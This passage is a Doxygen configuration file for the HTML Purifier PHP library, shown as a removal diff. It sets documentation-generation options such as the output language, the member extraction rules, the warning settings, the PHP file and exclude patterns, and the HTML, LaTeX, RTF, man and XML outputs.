specify the language in which all -# documentation generated by doxygen is written. Doxygen will use this -# information to generate all constant output in the proper language. -# The default language is English, other supported languages are: -# Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional, -# Croatian, Czech, Danish, Dutch, Finnish, French, German, Greek, Hungarian, -# Italian, Japanese, Japanese-en (Japanese with English messages), Korean, -# Korean-en, Lithuanian, Norwegian, Polish, Portuguese, Romanian, Russian, -# Serbian, Slovak, Slovene, Spanish, Swedish, and Ukrainian. - -OUTPUT_LANGUAGE = English - -# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will -# include brief member descriptions after the members that are listed in -# the file and class documentation (similar to JavaDoc). -# Set to NO to disable this. - -BRIEF_MEMBER_DESC = YES - -# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend -# the brief description of a member or function before the detailed description. -# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the -# brief descriptions will be completely suppressed. - -REPEAT_BRIEF = YES - -# This tag implements a quasi-intelligent brief description abbreviator -# that is used to form the text in various listings. Each string -# in this list, if found as the leading text of the brief description, will be -# stripped from the text and the result after processing the whole list, is -# used as the annotated text. Otherwise, the brief description is used as-is. -# If left blank, the following values are used ("$name" is automatically -# replaced with the name of the entity): "The $name class" "The $name widget" -# "The $name file" "is" "provides" "specifies" "contains" -# "represents" "a" "an" "the" - -ABBREVIATE_BRIEF = "The $name class " \ - "The $name widget " \ - "The $name file " \ - is \ - provides \ - specifies \ - contains \ - represents \ - a \ - an \ - the - -# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then -# Doxygen will generate a detailed section even if there is only a brief -# description. - -ALWAYS_DETAILED_SEC = NO - -# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all -# inherited members of a class in the documentation of that class as if those -# members were ordinary class members. Constructors, destructors and assignment -# operators of the base classes will not be shown. - -INLINE_INHERITED_MEMB = NO - -# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full -# path before files name in the file list and in the header files. If set -# to NO the shortest path that makes the file name unique will be used. - -FULL_PATH_NAMES = YES - -# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag -# can be used to strip a user-defined part of the path. Stripping is -# only done if one of the specified strings matches the left-hand part of -# the path. The tag can be used to show relative paths in the file list. -# If left blank the directory from which doxygen is run is used as the -# path to strip. - -STRIP_FROM_PATH = "C:/Users/Edward/Webs/htmlpurifier " \ - "C:/Documents and Settings/Edward/My Documents/My Webs/htmlpurifier " - -# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of -# the path mentioned in the documentation of a class, which tells -# the reader which header file to include in order to use a class. -# If left blank only the name of the header file containing the class -# definition is used. Otherwise one should specify the include paths that -# are normally passed to the compiler using the -I flag. - -STRIP_FROM_INC_PATH = - -# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter -# (but less readable) file names. This can be useful is your file systems -# doesn't support long names like on DOS, Mac, or CD-ROM. - -SHORT_NAMES = NO - -# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen -# will interpret the first line (until the first dot) of a JavaDoc-style -# comment as the brief description. If set to NO, the JavaDoc -# comments will behave just like regular Qt-style comments -# (thus requiring an explicit @brief command for a brief description.) - -JAVADOC_AUTOBRIEF = YES - -# If the QT_AUTOBRIEF tag is set to YES then Doxygen will -# interpret the first line (until the first dot) of a Qt-style -# comment as the brief description. If set to NO, the comments -# will behave just like regular Qt-style comments (thus requiring -# an explicit \brief command for a brief description.) - -QT_AUTOBRIEF = NO - -# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen -# treat a multi-line C++ special comment block (i.e. a block of //! or /// -# comments) as a brief description. This used to be the default behaviour. -# The new default is to treat a multi-line C++ comment block as a detailed -# description. Set this tag to YES if you prefer the old behaviour instead. - -MULTILINE_CPP_IS_BRIEF = NO - -# If the DETAILS_AT_TOP tag is set to YES then Doxygen -# will output the detailed description near the top, like JavaDoc. -# If set to NO, the detailed description appears after the member -# documentation. - -DETAILS_AT_TOP = NO - -# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented -# member inherits the documentation from any documented member that it -# re-implements. - -INHERIT_DOCS = YES - -# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce -# a new page for each member. If set to NO, the documentation of a member will -# be part of the file/class/namespace that contains it. - -SEPARATE_MEMBER_PAGES = NO - -# The TAB_SIZE tag can be used to set the number of spaces in a tab. -# Doxygen uses this value to replace tabs by spaces in code fragments. - -TAB_SIZE = 4 - -# This tag can be used to specify a number of aliases that acts -# as commands in the documentation. An alias has the form "name=value". -# For example adding "sideeffect=\par Side Effects:\n" will allow you to -# put the command \sideeffect (or @sideeffect) in the documentation, which -# will result in a user-defined paragraph with heading "Side Effects:". -# You can put \n's in the value part of an alias to insert newlines. - -ALIASES = - -# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C -# sources only. Doxygen will then generate output that is more tailored for C. -# For instance, some of the names that are used will be different. The list -# of all members will be omitted, etc. - -OPTIMIZE_OUTPUT_FOR_C = NO - -# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java -# sources only. Doxygen will then generate output that is more tailored for Java. -# For instance, namespaces will be presented as packages, qualified scopes -# will look different, etc. - -OPTIMIZE_OUTPUT_JAVA = NO - -# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want to -# include (a tag file for) the STL sources as input, then you should -# set this tag to YES in order to let doxygen match functions declarations and -# definitions whose arguments contain STL classes (e.g. func(std::string); v.s. -# func(std::string) {}). This also make the inheritance and collaboration -# diagrams that involve STL classes more complete and accurate. - -BUILTIN_STL_SUPPORT = NO - -# If you use Microsoft's C++/CLI language, you should set this option to YES to -# enable parsing support. - -CPP_CLI_SUPPORT = NO - -# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC -# tag is set to YES, then doxygen will reuse the documentation of the first -# member in the group (if any) for the other members of the group. By default -# all members of a group must be documented explicitly. - -DISTRIBUTE_GROUP_DOC = NO - -# Set the SUBGROUPING tag to YES (the default) to allow class member groups of -# the same type (for instance a group of public functions) to be put as a -# subgroup of that type (e.g. under the Public Functions section). Set it to -# NO to prevent subgrouping. Alternatively, this can be done per class using -# the \nosubgrouping command. - -SUBGROUPING = YES - -#--------------------------------------------------------------------------- -# Build related configuration options -#--------------------------------------------------------------------------- - -# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in -# documentation are documented, even if no documentation was available. -# Private class members and static file members will be hidden unless -# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES - -EXTRACT_ALL = YES - -# If the EXTRACT_PRIVATE tag is set to YES all private members of a class -# will be included in the documentation. - -EXTRACT_PRIVATE = YES - -# If the EXTRACT_STATIC tag is set to YES all static members of a file -# will be included in the documentation. - -EXTRACT_STATIC = YES - -# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) -# defined locally in source files will be included in the documentation. -# If set to NO only classes defined in header files are included. - -EXTRACT_LOCAL_CLASSES = YES - -# This flag is only useful for Objective-C code. When set to YES local -# methods, which are defined in the implementation section but not in -# the interface are included in the documentation. -# If set to NO (the default) only methods in the interface are included. - -EXTRACT_LOCAL_METHODS = NO - -# If this flag is set to YES, the members of anonymous namespaces will be extracted -# and appear in the documentation as a namespace called 'anonymous_namespace{file}', -# where file will be replaced with the base name of the file that contains the anonymous -# namespace. By default anonymous namespace are hidden. - -EXTRACT_ANON_NSPACES = NO - -# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all -# undocumented members of documented classes, files or namespaces. -# If set to NO (the default) these members will be included in the -# various overviews, but no documentation section is generated. -# This option has no effect if EXTRACT_ALL is enabled. - -HIDE_UNDOC_MEMBERS = NO - -# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all -# undocumented classes that are normally visible in the class hierarchy. -# If set to NO (the default) these classes will be included in the various -# overviews. This option has no effect if EXTRACT_ALL is enabled. - -HIDE_UNDOC_CLASSES = NO - -# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all -# friend (class|struct|union) declarations. -# If set to NO (the default) these declarations will be included in the -# documentation. - -HIDE_FRIEND_COMPOUNDS = NO - -# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any -# documentation blocks found inside the body of a function. -# If set to NO (the default) these blocks will be appended to the -# function's detailed documentation block. - -HIDE_IN_BODY_DOCS = NO - -# The INTERNAL_DOCS tag determines if documentation -# that is typed after a \internal command is included. If the tag is set -# to NO (the default) then the documentation will be excluded. -# Set it to YES to include the internal documentation. - -INTERNAL_DOCS = NO - -# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate -# file names in lower-case letters. If set to YES upper-case letters are also -# allowed. This is useful if you have classes or files whose names only differ -# in case and if your file system supports case sensitive file names. Windows -# and Mac users are advised to set this option to NO. - -CASE_SENSE_NAMES = YES - -# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen -# will show members with their full class and namespace scopes in the -# documentation. If set to YES the scope will be hidden. - -HIDE_SCOPE_NAMES = NO - -# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen -# will put a list of the files that are included by a file in the documentation -# of that file. - -SHOW_INCLUDE_FILES = YES - -# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] -# is inserted in the documentation for inline members. - -INLINE_INFO = YES - -# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen -# will sort the (detailed) documentation of file and class members -# alphabetically by member name. If set to NO the members will appear in -# declaration order. - -SORT_MEMBER_DOCS = YES - -# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the -# brief documentation of file, namespace and class members alphabetically -# by member name. If set to NO (the default) the members will appear in -# declaration order. - -SORT_BRIEF_DOCS = NO - -# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be -# sorted by fully-qualified names, including namespaces. If set to -# NO (the default), the class list will be sorted only by class name, -# not including the namespace part. -# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. -# Note: This option applies only to the class list, not to the -# alphabetical list. - -SORT_BY_SCOPE_NAME = NO - -# The GENERATE_TODOLIST tag can be used to enable (YES) or -# disable (NO) the todo list. This list is created by putting \todo -# commands in the documentation. - -GENERATE_TODOLIST = YES - -# The GENERATE_TESTLIST tag can be used to enable (YES) or -# disable (NO) the test list. This list is created by putting \test -# commands in the documentation. - -GENERATE_TESTLIST = YES - -# The GENERATE_BUGLIST tag can be used to enable (YES) or -# disable (NO) the bug list. This list is created by putting \bug -# commands in the documentation. - -GENERATE_BUGLIST = YES - -# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or -# disable (NO) the deprecated list. This list is created by putting -# \deprecated commands in the documentation. - -GENERATE_DEPRECATEDLIST= YES - -# The ENABLED_SECTIONS tag can be used to enable conditional -# documentation sections, marked by \if sectionname ... \endif. - -ENABLED_SECTIONS = - -# The MAX_INITIALIZER_LINES tag determines the maximum number of lines -# the initial value of a variable or define consists of for it to appear in -# the documentation. If the initializer consists of more lines than specified -# here it will be hidden. Use a value of 0 to hide initializers completely. -# The appearance of the initializer of individual variables and defines in the -# documentation can be controlled using \showinitializer or \hideinitializer -# command in the documentation regardless of this setting. - -MAX_INITIALIZER_LINES = 30 - -# Set the SHOW_USED_FILES tag to NO to disable the list of files generated -# at the bottom of the documentation of classes and structs. If set to YES the -# list will mention the files that were used to generate the documentation. - -SHOW_USED_FILES = YES - -# If the sources in your project are distributed over multiple directories -# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy -# in the documentation. The default is NO. - -SHOW_DIRECTORIES = NO - -# The FILE_VERSION_FILTER tag can be used to specify a program or script that -# doxygen should invoke to get the current version for each file (typically from the -# version control system). Doxygen will invoke the program by executing (via -# popen()) the command , where is the value of -# the FILE_VERSION_FILTER tag, and is the name of an input file -# provided by doxygen. Whatever the program writes to standard output -# is used as the file version. See the manual for examples. - -FILE_VERSION_FILTER = - -#--------------------------------------------------------------------------- -# configuration options related to warning and progress messages -#--------------------------------------------------------------------------- - -# The QUIET tag can be used to turn on/off the messages that are generated -# by doxygen. Possible values are YES and NO. If left blank NO is used. - -QUIET = NO - -# The WARNINGS tag can be used to turn on/off the warning messages that are -# generated by doxygen. Possible values are YES and NO. If left blank -# NO is used. - -WARNINGS = YES - -# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings -# for undocumented members. If EXTRACT_ALL is set to YES then this flag will -# automatically be disabled. - -WARN_IF_UNDOCUMENTED = YES - -# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for -# potential errors in the documentation, such as not documenting some -# parameters in a documented function, or documenting parameters that -# don't exist or using markup commands wrongly. - -WARN_IF_DOC_ERROR = YES - -# This WARN_NO_PARAMDOC option can be abled to get warnings for -# functions that are documented, but have no documentation for their parameters -# or return value. If set to NO (the default) doxygen will only warn about -# wrong or incomplete parameter documentation, but not about the absence of -# documentation. - -WARN_NO_PARAMDOC = NO - -# The WARN_FORMAT tag determines the format of the warning messages that -# doxygen can produce. The string should contain the $file, $line, and $text -# tags, which will be replaced by the file and line number from which the -# warning originated and the warning text. Optionally the format may contain -# $version, which will be replaced by the version of the file (if it could -# be obtained via FILE_VERSION_FILTER) - -WARN_FORMAT = "$file:$line: $text " - -# The WARN_LOGFILE tag can be used to specify a file to which warning -# and error messages should be written. If left blank the output is written -# to stderr. - -WARN_LOGFILE = - -#--------------------------------------------------------------------------- -# configuration options related to the input files -#--------------------------------------------------------------------------- - -# The INPUT tag can be used to specify the files and/or directories that contain -# documented source files. You may enter file names like "myfile.cpp" or -# directories like "/usr/src/myproject". Separate the files or directories -# with spaces. - -INPUT = ". " - -# This tag can be used to specify the character encoding of the source files that -# doxygen parses. Internally doxygen uses the UTF-8 encoding, which is also the default -# input encoding. Doxygen uses libiconv (or the iconv built into libc) for the transcoding. -# See http://www.gnu.org/software/libiconv for the list of possible encodings. - -INPUT_ENCODING = UTF-8 - -# If the value of the INPUT tag contains directories, you can use the -# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp -# and *.h) to filter out the source-files in the directories. If left -# blank the following patterns are tested: -# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx -# *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py - -FILE_PATTERNS = *.php - -# The RECURSIVE tag can be used to turn specify whether or not subdirectories -# should be searched for input files as well. Possible values are YES and NO. -# If left blank NO is used. - -RECURSIVE = YES - -# The EXCLUDE tag can be used to specify files and/or directories that should -# excluded from the INPUT source files. This way you can easily exclude a -# subdirectory from a directory tree whose root is specified with the INPUT tag. - -EXCLUDE = - -# The EXCLUDE_SYMLINKS tag can be used select whether or not files or -# directories that are symbolic links (a Unix filesystem feature) are excluded -# from the input. - -EXCLUDE_SYMLINKS = NO - -# If the value of the INPUT tag contains directories, you can use the -# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude -# certain files from those directories. Note that the wildcards are matched -# against the file with absolute path, so to exclude all test directories -# for example use the pattern */test/* - -EXCLUDE_PATTERNS = */tests/* \ - */benchmarks/* \ - */docs/* \ - */test-settings.php \ - */configdoc/* \ - */test-settings.php \ - */maintenance/* \ - */smoketests/* \ - */library/standalone/* \ - */.svn* \ - */conf/* - -# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names -# (namespaces, classes, functions, etc.) that should be excluded from the output. -# The symbol name can be a fully qualified name, a word, or if the wildcard * is used, -# a substring. Examples: ANamespace, AClass, AClass::ANamespace, ANamespace::*Test - -EXCLUDE_SYMBOLS = - -# The EXAMPLE_PATH tag can be used to specify one or more files or -# directories that contain example code fragments that are included (see -# the \include command). - -EXAMPLE_PATH = - -# If the value of the EXAMPLE_PATH tag contains directories, you can use the -# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp -# and *.h) to filter out the source-files in the directories. If left -# blank all files are included. - -EXAMPLE_PATTERNS = * - -# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be -# searched for input files to be used with the \include or \dontinclude -# commands irrespective of the value of the RECURSIVE tag. -# Possible values are YES and NO. If left blank NO is used. - -EXAMPLE_RECURSIVE = NO - -# The IMAGE_PATH tag can be used to specify one or more files or -# directories that contain image that are included in the documentation (see -# the \image command). - -IMAGE_PATH = - -# The INPUT_FILTER tag can be used to specify a program that doxygen should -# invoke to filter for each input file. Doxygen will invoke the filter program -# by executing (via popen()) the command , where -# is the value of the INPUT_FILTER tag, and is the name of an -# input file. Doxygen will then use the output that the filter program writes -# to standard output. If FILTER_PATTERNS is specified, this tag will be -# ignored. - -INPUT_FILTER = - -# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern -# basis. Doxygen will compare the file name with each pattern and apply the -# filter if there is a match. The filters are a list of the form: -# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further -# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER -# is applied to all files. - -FILTER_PATTERNS = - -# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using -# INPUT_FILTER) will be used to filter the input files when producing source -# files to browse (i.e. when SOURCE_BROWSER is set to YES). - -FILTER_SOURCE_FILES = NO - -#--------------------------------------------------------------------------- -# configuration options related to source browsing -#--------------------------------------------------------------------------- - -# If the SOURCE_BROWSER tag is set to YES then a list of source files will -# be generated. Documented entities will be cross-referenced with these sources. -# Note: To get rid of all source code in the generated output, make sure also -# VERBATIM_HEADERS is set to NO. If you have enabled CALL_GRAPH or CALLER_GRAPH -# then you must also enable this option. If you don't then doxygen will produce -# a warning and turn it on anyway - -SOURCE_BROWSER = YES - -# Setting the INLINE_SOURCES tag to YES will include the body -# of functions and classes directly in the documentation. - -INLINE_SOURCES = NO - -# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct -# doxygen to hide any special comment blocks from generated source code -# fragments. Normal C and C++ comments will always remain visible. - -STRIP_CODE_COMMENTS = YES - -# If the REFERENCED_BY_RELATION tag is set to YES (the default) -# then for each documented function all documented -# functions referencing it will be listed. - -REFERENCED_BY_RELATION = YES - -# If the REFERENCES_RELATION tag is set to YES (the default) -# then for each documented function all documented entities -# called/used by that function will be listed. - -REFERENCES_RELATION = YES - -# If the REFERENCES_LINK_SOURCE tag is set to YES (the default) -# and SOURCE_BROWSER tag is set to YES, then the hyperlinks from -# functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will -# link to the source code. Otherwise they will link to the documentstion. - -REFERENCES_LINK_SOURCE = YES - -# If the USE_HTAGS tag is set to YES then the references to source code -# will point to the HTML generated by the htags(1) tool instead of doxygen -# built-in source browser. The htags tool is part of GNU's global source -# tagging system (see http://www.gnu.org/software/global/global.html). You -# will need version 4.8.6 or higher. - -USE_HTAGS = NO - -# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen -# will generate a verbatim copy of the header file for each class for -# which an include is specified. Set to NO to disable this. - -VERBATIM_HEADERS = YES - -#--------------------------------------------------------------------------- -# configuration options related to the alphabetical class index -#--------------------------------------------------------------------------- - -# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index -# of all compounds will be generated. Enable this if the project -# contains a lot of classes, structs, unions or interfaces. - -ALPHABETICAL_INDEX = NO - -# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then -# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns -# in which this list will be split (can be a number in the range [1..20]) - -COLS_IN_ALPHA_INDEX = 5 - -# In case all classes in a project start with a common prefix, all -# classes will be put under the same header in the alphabetical index. -# The IGNORE_PREFIX tag can be used to specify one or more prefixes that -# should be ignored while generating the index headers. - -IGNORE_PREFIX = - -#--------------------------------------------------------------------------- -# configuration options related to the HTML output -#--------------------------------------------------------------------------- - -# If the GENERATE_HTML tag is set to YES (the default) Doxygen will -# generate HTML output. - -GENERATE_HTML = YES - -# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `html' will be used as the default path. - -HTML_OUTPUT = html - -# The HTML_FILE_EXTENSION tag can be used to specify the file extension for -# each generated HTML page (for example: .htm,.php,.asp). If it is left blank -# doxygen will generate files with .html extension. - -HTML_FILE_EXTENSION = .html - -# The HTML_HEADER tag can be used to specify a personal HTML header for -# each generated HTML page. If it is left blank doxygen will generate a -# standard header. - -HTML_HEADER = - -# The HTML_FOOTER tag can be used to specify a personal HTML footer for -# each generated HTML page. If it is left blank doxygen will generate a -# standard footer. - -HTML_FOOTER = - -# The HTML_STYLESHEET tag can be used to specify a user-defined cascading -# style sheet that is used by each HTML page. It can be used to -# fine-tune the look of the HTML output. If the tag is left blank doxygen -# will generate a default style sheet. Note that doxygen will try to copy -# the style sheet file to the HTML output directory, so don't put your own -# stylesheet in the HTML output directory as well, or it will be erased! - -HTML_STYLESHEET = - -# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, -# files or namespaces will be aligned in HTML using tables. If set to -# NO a bullet list will be used. - -HTML_ALIGN_MEMBERS = YES - -# If the GENERATE_HTMLHELP tag is set to YES, additional index files -# will be generated that can be used as input for tools like the -# Microsoft HTML help workshop to generate a compressed HTML help file (.chm) -# of the generated HTML documentation. - -GENERATE_HTMLHELP = NO - -# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML -# documentation will contain sections that can be hidden and shown after the -# page has loaded. For this to work a browser that supports -# JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox -# Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari). - -HTML_DYNAMIC_SECTIONS = NO - -# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can -# be used to specify the file name of the resulting .chm file. You -# can add a path in front of the file if the result should not be -# written to the html output directory. - -CHM_FILE = - -# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can -# be used to specify the location (absolute path including file name) of -# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run -# the HTML help compiler on the generated index.hhp. - -HHC_LOCATION = - -# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag -# controls if a separate .chi index file is generated (YES) or that -# it should be included in the master .chm file (NO). - -GENERATE_CHI = NO - -# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag -# controls whether a binary table of contents is generated (YES) or a -# normal table of contents (NO) in the .chm file. - -BINARY_TOC = NO - -# The TOC_EXPAND flag can be set to YES to add extra items for group members -# to the contents of the HTML help documentation and to the tree view. - -TOC_EXPAND = NO - -# The DISABLE_INDEX tag can be used to turn on/off the condensed index at -# top of each HTML page. The value NO (the default) enables the index and -# the value YES disables it. - -DISABLE_INDEX = NO - -# This tag can be used to set the number of enum values (range [1..20]) -# that doxygen will group on one line in the generated HTML documentation. - -ENUM_VALUES_PER_LINE = 4 - -# If the GENERATE_TREEVIEW tag is set to YES, a side panel will be -# generated containing a tree-like index structure (just like the one that -# is generated for HTML Help). For this to work a browser that supports -# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+, -# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are -# probably better off using the HTML help feature. - -GENERATE_TREEVIEW = YES - -# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be -# used to set the initial width (in pixels) of the frame in which the tree -# is shown. - -TREEVIEW_WIDTH = 250 - -#--------------------------------------------------------------------------- -# configuration options related to the LaTeX output -#--------------------------------------------------------------------------- - -# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will -# generate Latex output. - -GENERATE_LATEX = NO - -# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `latex' will be used as the default path. - -LATEX_OUTPUT = latex - -# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be -# invoked. If left blank `latex' will be used as the default command name. - -LATEX_CMD_NAME = latex - -# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to -# generate index for LaTeX. If left blank `makeindex' will be used as the -# default command name. - -MAKEINDEX_CMD_NAME = makeindex - -# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact -# LaTeX documents. This may be useful for small projects and may help to -# save some trees in general. - -COMPACT_LATEX = NO - -# The PAPER_TYPE tag can be used to set the paper type that is used -# by the printer. Possible values are: a4, a4wide, letter, legal and -# executive. If left blank a4wide will be used. - -PAPER_TYPE = a4wide - -# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX -# packages that should be included in the LaTeX output. - -EXTRA_PACKAGES = - -# The LATEX_HEADER tag can be used to specify a personal LaTeX header for -# the generated latex document. The header should contain everything until -# the first chapter. If it is left blank doxygen will generate a -# standard header. Notice: only use this tag if you know what you are doing! - -LATEX_HEADER = - -# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated -# is prepared for conversion to pdf (using ps2pdf). The pdf file will -# contain links (just like the HTML output) instead of page references -# This makes the output suitable for online browsing using a pdf viewer. - -PDF_HYPERLINKS = YES - -# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of -# plain latex in the generated Makefile. Set this option to YES to get a -# higher quality PDF documentation. - -USE_PDFLATEX = YES - -# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. -# command to the generated LaTeX files. This will instruct LaTeX to keep -# running if errors occur, instead of asking the user for help. -# This option is also used when generating formulas in HTML. - -LATEX_BATCHMODE = NO - -# If LATEX_HIDE_INDICES is set to YES then doxygen will not -# include the index chapters (such as File Index, Compound Index, etc.) -# in the output. - -LATEX_HIDE_INDICES = NO - -#--------------------------------------------------------------------------- -# configuration options related to the RTF output -#--------------------------------------------------------------------------- - -# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output -# The RTF output is optimized for Word 97 and may not look very pretty with -# other RTF readers or editors. - -GENERATE_RTF = NO - -# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `rtf' will be used as the default path. - -RTF_OUTPUT = rtf - -# If the COMPACT_RTF tag is set to YES Doxygen generates more compact -# RTF documents. This may be useful for small projects and may help to -# save some trees in general. - -COMPACT_RTF = NO - -# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated -# will contain hyperlink fields. The RTF file will -# contain links (just like the HTML output) instead of page references. -# This makes the output suitable for online browsing using WORD or other -# programs which support those fields. -# Note: wordpad (write) and others do not support links. - -RTF_HYPERLINKS = NO - -# Load stylesheet definitions from file. Syntax is similar to doxygen's -# config file, i.e. a series of assignments. You only have to provide -# replacements, missing definitions are set to their default value. - -RTF_STYLESHEET_FILE = - -# Set optional variables used in the generation of an rtf document. -# Syntax is similar to doxygen's config file. - -RTF_EXTENSIONS_FILE = - -#--------------------------------------------------------------------------- -# configuration options related to the man page output -#--------------------------------------------------------------------------- - -# If the GENERATE_MAN tag is set to YES (the default) Doxygen will -# generate man pages - -GENERATE_MAN = NO - -# The MAN_OUTPUT tag is used to specify where the man pages will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `man' will be used as the default path. - -MAN_OUTPUT = man - -# The MAN_EXTENSION tag determines the extension that is added to -# the generated man pages (default is the subroutine's section .3) - -MAN_EXTENSION = .3 - -# If the MAN_LINKS tag is set to YES and Doxygen generates man output, -# then it will generate one additional man file for each entity -# documented in the real man page(s). These additional files -# only source the real man page, but without them the man command -# would be unable to find the correct page. The default is NO. - -MAN_LINKS = NO - -#--------------------------------------------------------------------------- -# configuration options related to the XML output -#--------------------------------------------------------------------------- - -# If the GENERATE_XML tag is set to YES Doxygen will -# generate an XML file that captures the structure of -# the code including all documentation. - -GENERATE_XML = NO - -# The XML_OUTPUT tag is used to specify where the XML pages will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `xml' will be used as the default path. - -XML_OUTPUT = xml - -# The XML_SCHEMA tag can be used to specify an XML schema, -# which can be used by a validating XML parser to check the -# syntax of the XML files. - -XML_SCHEMA = - -# The XML_DTD tag can be used to specify an XML DTD, -# which can be used by a validating XML parser to check the -# syntax of the XML files. - -XML_DTD = - -# If the XML_PROGRAMLISTING tag is set to YES Doxygen will -# dump the program listings (including syntax highlighting -# and cross-referencing information) to the XML output. Note that -# enabling this will significantly increase the size of the XML output. - -XML_PROGRAMLISTING = YES - -#--------------------------------------------------------------------------- -# configuration options for the AutoGen Definitions output -#--------------------------------------------------------------------------- - -# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will -# generate an AutoGen Definitions (see autogen.sf.net) file -# that captures the structure of the code including all -# documentation. Note that this feature is still experimental -# and incomplete at the moment. - -GENERATE_AUTOGEN_DEF = NO - -#--------------------------------------------------------------------------- -# configuration options related to the Perl module output -#--------------------------------------------------------------------------- - -# If the GENERATE_PERLMOD tag is set to YES Doxygen will -# generate a Perl module file that captures the structure of -# the code including all documentation. Note that this -# feature is still experimental and incomplete at the -# moment. - -GENERATE_PERLMOD = NO - -# If the PERLMOD_LATEX tag is set to YES Doxygen will generate -# the necessary Makefile rules, Perl scripts and LaTeX code to be able -# to generate PDF and DVI output from the Perl module output. - -PERLMOD_LATEX = NO - -# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be -# nicely formatted so it can be parsed by a human reader. This is useful -# if you want to understand what is going on. On the other hand, if this -# tag is set to NO the size of the Perl module output will be much smaller -# and Perl will parse it just the same. - -PERLMOD_PRETTY = YES - -# The names of the make variables in the generated doxyrules.make file -# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. -# This is useful so different doxyrules.make files included by the same -# Makefile don't overwrite each other's variables. - -PERLMOD_MAKEVAR_PREFIX = - -#--------------------------------------------------------------------------- -# Configuration options related to the 